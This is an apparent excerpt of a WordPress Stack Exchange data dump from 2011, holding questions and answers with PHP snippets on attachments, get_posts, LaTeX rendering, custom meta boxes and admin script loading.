  <row Id="9627" PostTypeId="1" CreationDate="2011-02-17T14:28:41.867" Score="1" ViewCount="150" Body="&lt;p&gt;&lt;code&gt;wp_delete_attachment()&lt;/code&gt; is very comprehensive and wipes every trace of attachment from database and disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there easy way to keep original file? Forking under another name is not an option, because other functions like &lt;code&gt;wp_delete_post()&lt;/code&gt; will still call original version.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-17T14:36:21.703" Title="How to cleanly delete attachment but retain original file?" Tags="&lt;attachments&gt;" AnswerCount="1" />
  <row Id="9628" PostTypeId="2" ParentId="9625" CreationDate="2011-02-17T14:34:04.670" Score="0" ViewCount="" Body="&lt;p&gt;As far as I know there is nothing native in WP to parse CSV files and stuffing this into database directly doesn't seem like a good idea either.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can parse your CSV with PHP, see &lt;a href=&quot;http://php.net/manual/en/function.fgetcsv.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;fgetcsv()&lt;/code&gt;&lt;/a&gt; for starters.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_user_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_user_meta()&lt;/code&gt;&lt;/a&gt; to create those values.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-17T14:34:04.670" />
  <row Id="9629" PostTypeId="2" ParentId="9627" CreationDate="2011-02-17T14:36:21.703" Score="1" ViewCount="" Body="&lt;p&gt;Assuming &lt;code&gt;$attachment_id&lt;/code&gt; is the ID of the attachment you want to delete without deleting the file, this should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;query( $wpdb-&amp;gt;prepare( &quot;DELETE FROM $wpdb-&amp;gt;posts, $wpdb-&amp;gt;postmeta WHERE $wpdb-&amp;gt;posts.ID = %d OR $wpdb-&amp;gt;postmeta.post_id = %d&quot;, $attachment_id, $attachment_id ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-17T14:36:21.703" CommentCount="1" />
  <row Id="9630" PostTypeId="1" AcceptedAnswerId="9632" CreationDate="2011-02-17T14:43:54.337" Score="0" ViewCount="139" Body="&lt;p&gt;I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$folioPosts = get_posts(array('category_name' =&amp;gt; 'portfolio', 'numberposts' =&amp;gt; 3));&#xA;if ($folioPosts-&amp;gt;have_posts()) :&#xA;foreach ($folioPosts as $folioPost) : &#xA;setup_postdata($folioPost);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;article class=&quot;col3&quot;&amp;gt;&#xA;  &amp;lt;?php if (has_post_thumbnail()) : ?&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail() ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;endforeach;&#xA;else :&#xA;?&amp;gt;&#xA;&amp;lt;p&amp;gt;No folio posts to display ...&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function have_posts() on a non-object ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think its because my args to get_posts are wrong. Did I do something wrong?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-17T14:59:19.570" Title="Am I using get_posts wrong?" Tags="&lt;theme-development&gt;&lt;get-posts&gt;" AnswerCount="2" />
  <row Id="9631" PostTypeId="1" CreationDate="2011-02-17T14:53:23.423" Score="1" ViewCount="68" Body="&lt;p&gt;This is my first post so pardon if my question is not upto the Mark. I actually blog using wordpress and i am very elated by the fact that it has LaTeX support. I would like to know whether the \begin{align} \end{align} environment could be used at wordpress because it looks very good since the equations are aligned. If not how can i make this LaTeX command look better at wordpress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;\begin{align*}&#xA;\int \frac{1}{(2x^{2}+4x-2)^{-\frac{3}{2}}} \ \textrm{dx} &amp;amp;= \frac{\sqrt{2}}{8} \int\frac{\sec{t} \cdot \tan{t}}{\tan^{3}{t}} \ \textrm{dt} \\ &amp;amp;= \frac{\sqrt{2}}{8} \int\frac{\cos{t}}{\sin^{2}{t}} \ \textrm{dt}&#xA;\end{align*}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eagerly awaiting a response!&lt;/p&gt;&#xA;" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-17T16:27:06.980" LastActivityDate="2011-09-02T13:35:54.560" Title="LaTex Align in wordpress" Tags="&lt;plugins&gt;&lt;latex&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="9632" PostTypeId="2" ParentId="9630" CreationDate="2011-02-17T14:56:31.483" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts/1755#1755&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt; returns an array, not a &lt;code&gt;WP_Query&lt;/code&gt; object.&lt;/a&gt; If you want to use &lt;code&gt;have_posts()&lt;/code&gt; and related functions, use a &quot;raw&quot; &lt;code&gt;WP_Query&lt;/code&gt; object.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-17T14:56:31.483" />
  <row Id="9633" PostTypeId="2" ParentId="9630" CreationDate="2011-02-17T14:59:19.570" Score="2" ViewCount="" Body="&lt;p&gt;If you want that to work, instead of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($folioPosts-&amp;gt;have_posts()) :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !empty( $folioPosts ) ) :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, after the foreach line and before setup_postdata, add something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post; $post = $folioPost;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-17T14:59:19.570" CommentCount="2" />
  <row Id="9634" PostTypeId="2" ParentId="9624" CreationDate="2011-02-17T15:05:27.357" Score="2" ViewCount="" Body="&lt;p&gt;When updating post taxonomies, you can call &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/taxonomy.php#L1975&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_defer_term_counting( true )&lt;/code&gt;&lt;/a&gt; before you do your mass operation, and then &lt;code&gt;wp_defer_term_counting( false )&lt;/code&gt; to update the term counts only once per term.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-17T15:05:27.357" CommentCount="2" />
  <row Id="9635" PostTypeId="1" AcceptedAnswerId="9646" CreationDate="2011-02-17T15:07:38.667" Score="1" ViewCount="182" Body="&lt;p&gt;I have installed wordpress for my site.&#xA;I am trying to insert posts using function &lt;code&gt;wp_insert_post()&lt;/code&gt; from my self-made script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;content of my post contains video-embed code of google.&#xA;&amp;lt;object width=&quot;480&quot; height=&quot;385&quot;&amp;gt;&amp;lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/-T9omX2XD2s?fs=1&amp;amp;hl=en_US&quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;embed src=&quot;http://www.youtube.com/v/-T9omX2XD2s?fs=1&amp;amp;hl=en_US&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;480&quot; height=&quot;385&quot;&amp;gt;&amp;lt;/embed&amp;gt;&amp;lt;/object&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I am running script to insert this content in my post, by my surprise this code got stripped out from post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have surfed the internet and wordpress forum, I found that It is a SECURITY feature of wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove this security feature from my own wordpress site. so what should I do to opt-out this stripping function? so that I can add above html code as a content of a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give me the function name which is stripping out this codes from my content, so I can stop it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My complete code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require('./wp-blog-header.php');&#xA;$contactObject['postTitle'] = $_POST['post_title'];&#xA;$contactObject['videoCode'] = $_POST['videoCode'];&#xA;$contactObject['description'] = $_POST['description'];&#xA;$categoryIds = $_POST['categories'];&#xA;&#xA;insertPosts($contactObjects,$categoryIds);&#xA;&#xA;function insertPosts($contactObjects,$categoryIds)&#xA;{&#xA;&#xA;        $videoCode = $contactObject['videoCode'];&#xA;        $videoEmbedCode = '&amp;lt;object width=&quot;480&quot; height=&quot;385&quot;&amp;gt;&amp;lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/'.$videoCode.'?fs=1&amp;amp;amp;hl=en_US&quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;embed src=&quot;http://www.youtube.com/v/'.$videoCode.'?fs=1&amp;amp;amp;hl=en_US&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;480&quot; height=&quot;385&quot;&amp;gt;&amp;lt;/embed&amp;gt;&amp;lt;/object&amp;gt;';&#xA;&#xA;        $content = '';&#xA;        if($contactObject['description'] != '')&#xA;        {&#xA;                $content .= '&amp;lt;p&amp;gt;'.$contactObject['description'].'&amp;lt;/p&amp;gt;&amp;lt;/br&amp;gt;';&#xA;        }&#xA;        $content .= $videoEmbedCode;&#xA;&#xA;        // Create post object&#xA;        $my_post = array(&#xA;                 'post_title' =&amp;gt; $contactObject['postTitle'],&#xA;                 'post_content' =&amp;gt; $content,&#xA;                 'post_status' =&amp;gt; 'publish',&#xA;                 'post_author' =&amp;gt; 1,&#xA;                 'post_category' =&amp;gt; $categoryIds,&#xA;&#xA;        );&#xA;&#xA;        // Insert the post into the database&#xA;        $postId = wp_insert_post( $my_post );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3250" LastEditorUserId="3250" LastEditorDisplayName="" LastEditDate="2011-02-17T18:30:55.260" LastActivityDate="2011-02-17T18:30:55.260" Title="want to stop stripping out from my post content" Tags="&lt;embed&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9636" PostTypeId="2" ParentId="9506" CreationDate="2011-02-17T15:33:17.817" Score="1" ViewCount="" Body="&lt;p&gt;You are looking for a mailing plugin that can send mails in digests. One example is &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/&quot; rel=&quot;nofollow&quot;&gt;Subscribe2&lt;/a&gt;, which can be set from once hourly to weekly, but you can probably modify the code so it extends to quarterly mailings.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-17T15:33:17.817" />
  <row Id="9637" PostTypeId="1" AcceptedAnswerId="9639" CreationDate="2011-02-17T15:42:40.157" Score="0" ViewCount="154" Body="&lt;p&gt;My single.php file has the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Set and display custom field&#xA;    $intro_image = get_post_meta($post-&amp;gt;ID, 'Intro Image', true); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo $intro_image; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;?php&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The user will have to type Intro Image (once) in the 'Name' field in order to see it next time in the drop-down list. I think it would be better if the user can see 'Intro Image' right after installing my Wordpress theme (I feel that the user should select options that are available, not write them down themselves).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if what I'm saying make sense. But how to have those 'Names' available in the drop-down list before writing them?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-17T16:05:55.320" Title="Making custom field's 'Name' available in the dropdown list by default in a theme?" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="9638" PostTypeId="2" ParentId="9506" CreationDate="2011-02-17T15:58:28.690" Score="0" ViewCount="" Body="&lt;p&gt;I've actually gone a completely different route. I'm using the &lt;a href=&quot;http://eepurl.com/cGE-w&quot; rel=&quot;nofollow&quot;&gt;Mailchimp&lt;/a&gt; automatic RSS reader to send out Newsletters from WordPress Posts. Basically what you want to do is create a custom RSS feed (very easy), Yoast has an &lt;a href=&quot;http://yoast.com/custom-rss-feeds-wordpress/&quot; rel=&quot;nofollow&quot;&gt;excellent article&lt;/a&gt;, and then feed that to Mailchimp. MC will automatically find out which posts are new and send them out to whoever requires them on a weekly/monthly basis. Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-17T15:58:28.690" CommentCount="2" />
  <row Id="9639" PostTypeId="2" ParentId="9637" CreationDate="2011-02-17T16:05:55.320" Score="1" ViewCount="" Body="&lt;p&gt;your best option is to create a custom meta box with-in your theme and then the user will have it no matter if he typed it once before.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Hook into WordPress&#xA;add_action( 'admin_init', 'add_custom_metabox' );&#xA;add_action( 'save_post', 'save_custom_intro_image' );&#xA;&#xA;/**&#xA; * Add meta box&#xA; */&#xA;function add_custom_metabox() {&#xA;    add_meta_box( 'custom-metabox', __( 'Intro Image' ), 'intro_image_custom_metabox', 'post', 'side', 'high' );&#xA;}&#xA;&#xA;/**&#xA; * Display the metabox&#xA; */&#xA;function intro_image_custom_metabox() {&#xA;    global $post;&#xA;    $introimage = get_post_meta( $post-&amp;gt;ID, 'intro_image', true );&#xA;        ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;intro_image&quot;&amp;gt;Intro Image:&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input id=&quot;siteurl&quot; size=&quot;37&quot; name=&quot;intro_image&quot; value=&quot;&amp;lt;?php if( $introimage ) { echo $introimage; } ?&amp;gt;&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;/**&#xA; * Process the custom metabox fields&#xA; */&#xA;function save_custom_intro_image( $post_id ) {&#xA;    global $post;   &#xA;&#xA;    if( $_POST ) {&#xA;        update_post_meta( $post-&amp;gt;ID, 'intro_image', $_POST['intro_image'] );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope This Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T16:05:55.320" CommentCount="3" />
  <row Id="9641" PostTypeId="2" ParentId="9608" CreationDate="2011-02-17T16:11:07.457" Score="1" ViewCount="" Body="&lt;p&gt;Prateek, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it is theme dependent, many of the structural elements for your pages design are contained in the themes .php files.  Go to &lt;strong&gt;DASHBOARD &gt; APPEARANCE &gt; EDITOR&lt;/strong&gt; and you will see the files that make up the templates and in the case of some themes, sections of your displayed pages.  You can go into these files using the WordPress editor or a text editor and make changes to the theme template itself, which may allow you to make the changes you desire (be sure to work from a copy until you are satisfied). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the Twenty-Ten theme as an example, you can find the &amp;lt; body &gt; information in the header.php file.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-02-17T16:11:07.457" CommentCount="1" />
  <row Id="9642" PostTypeId="2" ParentId="9623" CreationDate="2011-02-17T16:12:57.513" Score="2" ViewCount="" Body="&lt;p&gt;Just like Jan said in new WordPress 3.1 you can use &lt;code&gt;meta_query&lt;/code&gt; but until that will come out you can use your First query to orderby and filter inside your loop like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Global $my_query;&#xA;$my_query = new WP_Query( array (&#xA;                    'post_type' =&amp;gt; 'listing',&#xA;                    'post_status' =&amp;gt; 'publish',&#xA;                    'posts_per_page' =&amp;gt; '9',&#xA;                    'meta_key' =&amp;gt; 'location_level1_value',&#xA;                    'orderby' =&amp;gt; 'location_level1_value',&#xA;                    'order' =&amp;gt; 'ASC',&#xA;                    'paged' =&amp;gt; $paged&#xA;                    )&#xA;                 );&#xA;while ($my_query-&amp;gt;have_posts){&#xA;    $my_query-&amp;gt;the_post();&#xA;              //do your loop stuff&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add this code to your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   //join filter&#xA;         add_filter('posts_join', 'listing_join_865' );&#xA;         function listing_join_865($join){&#xA;Global$ my_query;            &#xA;if ('listing' = $my_query-&amp;gt;query['post_type']){&#xA;                $restriction1 = 'gateway_value';&#xA;                return $join .=&quot;&#xA;                LEFT JOIN $wpdb-&amp;gt;postmeta AS $restriction1 ON(&#xA;                $wpdb-&amp;gt;posts.ID = $restriction1.post_id&#xA;                AND $restriction1.meta_key = '$restriction1'&#xA;                )&quot;;&#xA;             }else {&#xA;                return $join;&#xA;            }&#xA;         }&#xA;         //where filter&#xA;         add_filter('posts_where', 'listing_where_865' );&#xA;         function listing_where_865($where){&#xA;             global $my_query;&#xA;            if ('listing' = $my_query-&amp;gt;query['post_type']){&#xA;                return $where.= &quot; AND $restriction1.meta_value != 'yes'&quot;;&#xA;            }else{&#xA;                return $where;&#xA;            }&#xA;         }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now this should work.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-17T18:19:15.497" LastActivityDate="2011-02-17T18:19:15.497" CommentCount="12" />
  <row Id="9643" PostTypeId="2" ParentId="9631" CreationDate="2011-02-17T16:25:21.193" Score="1" ViewCount="" Body="&lt;p&gt;From the &lt;a href=&quot;http://en.support.wordpress.com/latex/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; t31os has provided you can clearly see that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;One thing to keep in mind is that WordPress puts all of your \LaTeX code inside a \LaTeX math environment. If you try to use \LaTeX that doesn’t work inside the math environment (such as \begin{align} ... \end{align}), you will get an error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so no you can't but, you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/youngwhans-simple-latex/&quot; rel=&quot;nofollow&quot;&gt;Youngwhan's Simple Latex&lt;/a&gt;&#xA;plugin that has an align option.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;following Jan's comment you can use google chart api &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://chart.apis.google.com/chart?cht=tx&amp;amp;chl=\begin{align*}%20\int%20\frac{1}{%282x^{2}+4x-2%29^{-\frac{3}{2}}}%20\%20\textrm{dx}%20&amp;amp;=%20\frac{\sqrt{2}}{8}%20\int\frac{\sec{t}%20\cdot%20\tan{t}}{\tan^{3}{t}}%20\%20\textrm{dt}%20\\%20&amp;amp;=%20\frac{\sqrt{2}}{8}%20\int\frac{\cos{t}}{\sin^{2}{t}}%20\%20\textrm{dt}%20\end{align*} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and isert it as the img src.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-17T16:35:59.433" LastActivityDate="2011-02-17T16:35:59.433" CommentCount="4" />
  <row Id="9644" PostTypeId="1" AcceptedAnswerId="9663" CreationDate="2011-02-17T16:42:07.227" Score="0" ViewCount="114" Body="&lt;p&gt;I have a wordpress site running on one domain that has the main 'client' domain for the site redirecting to it.  I've got my Wordpress Address/Site Address entered correcting in Wordpress, and the .htaccess is formatted properly afaik.  Everything else seems to work properly other than this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have Janrain Engage, SimpleModal Jainrain Engage and SimpleModal Login.  Everything was working fine when we were building the site on the hosted domain.  When it came time to switch the live sites and redirect the published URL to our host, things went all screwy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to www.publishedurl.com and attempt to login with your Wordpress user/pass the loggin in progress bar appears and just hangs indefinitely.  If you try and loging with your Facebook ID it appears to successfully log you in, but on www.publishedurl.com it shows you as not logged in.  If you then go to www.backendurel.com/wordpressinstall/ it will show you logged in with Facebook -- and back there, if you attempt to log-in, that works fine as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated Wordpress and the plugins, I've scoured the wp_options table in the database for a setting that might be wrong.  I completely uninstalled and reinstalled everything, created new Jainrain and Facebook widgets.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ATM I have the files and folders of all 3 plugins set to 775 permission.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also use Mingle and a few other widgets that block users from viewing the WP backend daskboard and allow front-end posting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS.  Actually, during the course of this whole re-install I've now broken everything at the www.backendurl.com/wordpressinstall... same action... endless &quot;loggin in&quot; progress bar... had to pull the php redirect off my wp-login page... ugg.. help please! =D&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-03-03T23:26:21.690" Title="Janrain/Simple Modal under Redirected Domain" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;users&gt;&lt;redirect&gt;&lt;login&gt;" AnswerCount="2" />
  <row Id="9645" PostTypeId="1" AcceptedAnswerId="9650" CreationDate="2011-02-17T16:45:55.693" Score="0" ViewCount="201" Body="&lt;p&gt;I'm probably missing something unless it's really not possible, for some reason I can't get my function to only execute on the &lt;strong&gt;new&lt;/strong&gt; and &lt;strong&gt;edit&lt;/strong&gt; page of a custom post type (the new not being a problem):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((isset($_GET['post_type']) &amp;amp;&amp;amp; $_GET['post_type'] == 'events') || (isset($post_type) &amp;amp;&amp;amp; $post_type == 'tf_events')) {&#xA;    add_action('admin_init', &quot;admin_head&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this only works for &lt;strong&gt;adding a new post&lt;/strong&gt; where the URL is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/post-new.php?post_type=events&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for editing a post it doesn't work, where the URL is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/post.php?post=12&amp;amp;action=edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(although the post type isn't added to the link attribute)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WORKING CODE (See Mark's response below):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// 7. JS Datepicker UI&#xA;&#xA;function events_styles() {&#xA;    global $post_type;&#xA;    if( 'tf_events' != $post_type )&#xA;        return;&#xA;    wp_enqueue_style('ui-datepicker', get_bloginfo('template_url') . '/css/jquery-ui-1.8.9.custom.css');&#xA;}&#xA;&#xA;function events_scripts() {&#xA;    global $post_type;&#xA;    if( 'tf_events' != $post_type )&#xA;        return;&#xA;    wp_deregister_script('jquery-ui-core');&#xA;    wp_enqueue_script('jquery-ui', get_bloginfo('template_url') . '/js/jquery-ui-1.8.9.custom.min.js', array('jquery'));&#xA;    wp_enqueue_script('ui-datepicker', get_bloginfo('template_url') . '/js/jquery.ui.datepicker.min.js');&#xA;    wp_enqueue_script('custom_script', get_bloginfo('template_url').'/js/pubforce-admin.js', array('jquery'));&#xA;}&#xA;&#xA;add_action( 'admin_print_styles-post.php', 'events_styles', 1000 );&#xA;add_action( 'admin_print_styles-post-new.php', 'events_styles', 1000 );&#xA;&#xA;add_action( 'admin_print_scripts-post.php', 'events_scripts', 1000 );&#xA;add_action( 'admin_print_scripts-post-new.php', 'events_scripts', 1000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2393" LastEditorUserId="2393" LastEditorDisplayName="" LastEditDate="2011-02-18T07:38:23.263" LastActivityDate="2011-02-18T07:38:23.263" Title="Selecting New &amp; Edit Page for Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;query&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9646" PostTypeId="2" ParentId="9635" CreationDate="2011-02-17T16:57:51.237" Score="1" ViewCount="" Body="&lt;p&gt;I'm only guessing but it sounds like your insert method is tripping up on one of WordPress's filter functions (e.g. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_filter_kses&quot; rel=&quot;nofollow&quot;&gt;wp_filter_kses&lt;/a&gt;). If you need a more exact answer, please update your question to include some of the code you're using to insert the post content.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-02-17T16:57:51.237" CommentCount="2" />
  <row Id="9647" PostTypeId="2" ParentId="9645" CreationDate="2011-02-17T17:02:44.890" Score="1" ViewCount="" Body="&lt;p&gt;you can try to call on global $post so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;if ((isset($_GET['post_type']) &amp;amp;&amp;amp; $_GET['post_type'] == 'events') || (isset($post_type) &amp;amp;&amp;amp; $post_type == 'tf_events') || (get_post_type($post) == &quot;events&quot;) || (get_post_type($post) == &quot;tf_events&quot;)){) {&#xA;    add_action('admin_init', &quot;admin_head&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;try :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $typenow;&#xA;if( 'your_post_type' == $typenow ){&#xA;// do you stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also make sure your register_post_type call runs first so the post type is registered before this code is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-17T17:44:59.520" LastActivityDate="2011-02-17T17:44:59.520" CommentCount="1" />
  <row Id="9648" PostTypeId="1" AcceptedAnswerId="9651" CreationDate="2011-02-17T17:17:19.833" Score="0" ViewCount="298" Body="&lt;p&gt;How can I get the post id from a permalink like &quot;http://localhost/wordpress/animals/cat&quot; in functions.php, I have tried url_to_postid() and get_page_by_path() but none seem to work.&lt;/p&gt;&#xA;" OwnerUserId="3164" LastActivityDate="2011-02-17T17:43:53.593" Title="How to get the post id from a permalink?" Tags="&lt;permalinks&gt;&lt;functions&gt;&lt;posts&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
